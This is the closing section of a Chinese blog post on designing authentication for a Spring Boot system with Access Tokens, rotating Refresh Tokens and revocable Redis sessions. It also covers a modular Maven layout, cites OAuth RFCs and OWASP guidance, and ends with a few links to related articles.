text 复制代码
客户端
 ↓
Access Token
 ↓
Security Filter
 ↓
JWT 验证
 ↓
Redis Session
 ↓
Authentication
 ↓
业务 Module

三十二、最后总结

如果只是写一个 Demo:

text 复制代码
JWT
+
localStorage

完全可以。

但如果是准备长期维护的真实前后端分离项目,我认为至少应该认真考虑:

text 复制代码
Access Token
+
Refresh Token
+
Session 生命周期

而不是:

text 复制代码
登录生成一个 JWT
然后七天不管

Access Token 解决的是:

text 复制代码
我现在有没有权限访问资源?

Refresh Token 解决的是:

text 复制代码
Access Token 过期之后,能不能安全地继续登录状态?

Redis Session 解决的是:

text 复制代码
服务器能不能主动控制这次登录?

Refresh Token Rotation 进一步解决:

text 复制代码
Refresh Token 被复制以后,服务器能不能发现重放行为?

所以最终:

text 复制代码
Access Token
≠
Refresh Token
≠
Session

三者虽然都和"登录状态"有关,但职责完全不同。

同样的思想也体现在我的 Spring Boot Maven 模块设计中:

text 复制代码
framework
≠
module
≠
server

其中:

text 复制代码
framework

负责:

text 复制代码
Security
Redis
Web
Core
Permission
API Doc

也就是通用基础设施。

text 复制代码
module

负责:

text 复制代码
System
Project
Task
Payment
AI
以及其他具体业务

而:

text 复制代码
server

只负责:

text 复制代码
启动
配置
装配

我越来越认为,一个项目是否真正具有可维护性,并不取决于:

text 复制代码
用了多少中间件
用了多少设计模式
用了多少微服务

而取决于:

每一个模块、每一个组件、每一个 Token,能不能明确说清楚自己的职责和边界。

当一个 Spring Boot 项目开始从:

text 复制代码
Controller
Service
Mapper
Utils

逐渐发展到:

text 复制代码
framework
module
server

真正发生变化的并不只是目录结构。

而是我们开始从:

"把功能写出来"

逐渐转向:

"考虑这个系统未来应该怎么继续长大。"

同样,当认证系统从:

text 复制代码
一个 JWT 用到底

变成:

text 复制代码
短生命周期 Access Token
+
长期 Refresh Token
+
Refresh Token Rotation
+
可撤销 Redis Session

变化的也不仅仅是多生成了一个 Token。

而是认证系统开始真正拥有:

text 复制代码
生命周期
撤销能力
设备管理能力
风险控制能力
扩展能力

这才是我认为 Access Token + Refresh Token 真正值得设计的原因。


参考资料

本文设计与分析主要参考以下规范、官方文档及开源项目:

  1. IETF RFC 6749 --- The OAuth 2.0 Authorization Framework

    • OAuth 2.0 核心标准
    • 定义 Access Token、Refresh Token、Authorization Server、Resource Server 等核心概念
  2. IETF RFC 6750 --- The OAuth 2.0 Authorization Framework: Bearer Token Usage

    • 定义 Bearer Token 的标准使用方式
    • Authorization: Bearer <token> 即来源于这一规范体系
  3. IETF RFC 9700 --- Best Current Practice for OAuth 2.0 Security

    • OAuth 2.0 当前安全最佳实践
    • 讨论 Access Token 权限限制、Refresh Token 保护、Refresh Token Rotation、Token Replay 等问题
    • RFC 9700 于 2025 年正式发布,并作为 OAuth 2.0 Security Best Current Practice
  4. Spring Security Reference --- OAuth 2.0 Resource Server JWT

    • Spring Security 官方 JWT Resource Server 文档
    • 官方支持 Bearer Token、JWT Signature、expnbfissaud 等验证机制
  5. OWASP Cheat Sheet Series --- HTML5 Security Cheat Sheet

    • 对 localStorage、sessionStorage 等浏览器存储机制进行安全分析
    • 强调 XSS 对客户端敏感数据存储带来的风险
  6. OWASP Cheat Sheet Series --- Session Management Cheat Sheet

    • Session 生命周期、Cookie、安全属性、客户端存储等安全实践
  7. RuoYi-Vue

    • Maven 多模块后台管理系统
    • 采用 ruoyi-adminruoyi-frameworkruoyi-systemruoyi-common 等模块组织方式
  8. RuoYi-Vue-Plus

    • 在 RuoYi 思路基础上进一步模块化
    • 可以作为 Spring Boot 后台项目 Maven 模块设计的重要工程参考

写在最后

这篇文章并不是想说明:

text 复制代码
Access Token + Refresh Token + Redis

是所有系统唯一正确的答案。

如果你的系统只有几个接口、用户数量很少,也没有在线设备管理、强制退出、统一认证等需求:

text 复制代码
简单 JWT

完全够用。

架构设计最大的忌讳之一,就是:

text 复制代码
为了架构而架构。

但反过来,当项目已经开始出现:

text 复制代码
多个业务模块
多个客户端
多租户
统一认证
设备管理
权限控制
登录续期
强制退出
微服务演进

这些需求时,再继续依赖:

text 复制代码
一个有效期七天的 JWT

迟早会遇到问题。

所以我现在更愿意采用:

text 复制代码
模块化单体
+
framework / module / server
+
Access Token / Refresh Token
+
Redis Session

这样的设计。

不是因为它看起来复杂。

恰恰相反:

复杂系统真正需要做的,是把复杂度拆开,让每一部分重新变得简单。

相关推荐
掘金者阿豪1 小时前
2026年,AI编程工具到底好不好用?这份调研想听听你的真实声音
后端
麻瓜code1 小时前
[Agent]Spring AI 工具调用实战:让大模型真正“干活“(@Tool 六大工具 + 统一注册)
java·人工智能·spring
dsyyyyy11011 小时前
Typescript装饰器
前端·javascript·typescript
vx-程序开发1 小时前
【毕设分享】springboot废品上门回收微信小程序---附源码94491
java·spring boot·毕业设计·源码·课程设计·毕设·大作业
宸津-代码粉碎机1 小时前
Spring AI 高危CVE漏洞深度复盘|生产禁跑版本汇总+临时防御+修复方案
java·大数据·人工智能·python·spring
名字还没想好☜1 小时前
Go 用 json.Decoder 流式解析大 JSON:边读边处理不爆内存
开发语言·后端·golang·go·json
敲代码的嘎仔2 小时前
用 Redis 合并写 + DelayQueue 延迟检测,把视频播放进度写库频率降到 1/60
java·开发语言·数据库·redis·缓存·音视频·高并发
youyou-06062 小时前
AUTOSAR‑COM 常见问题 QA (1)
java·linux·服务器·单片机·汽车
谢亮_vipxieliang2 小时前
ValidX时间段验证详解:ISO 8601标准与简化格式
java·spring boot·后端·spring·spring cloud·hibernate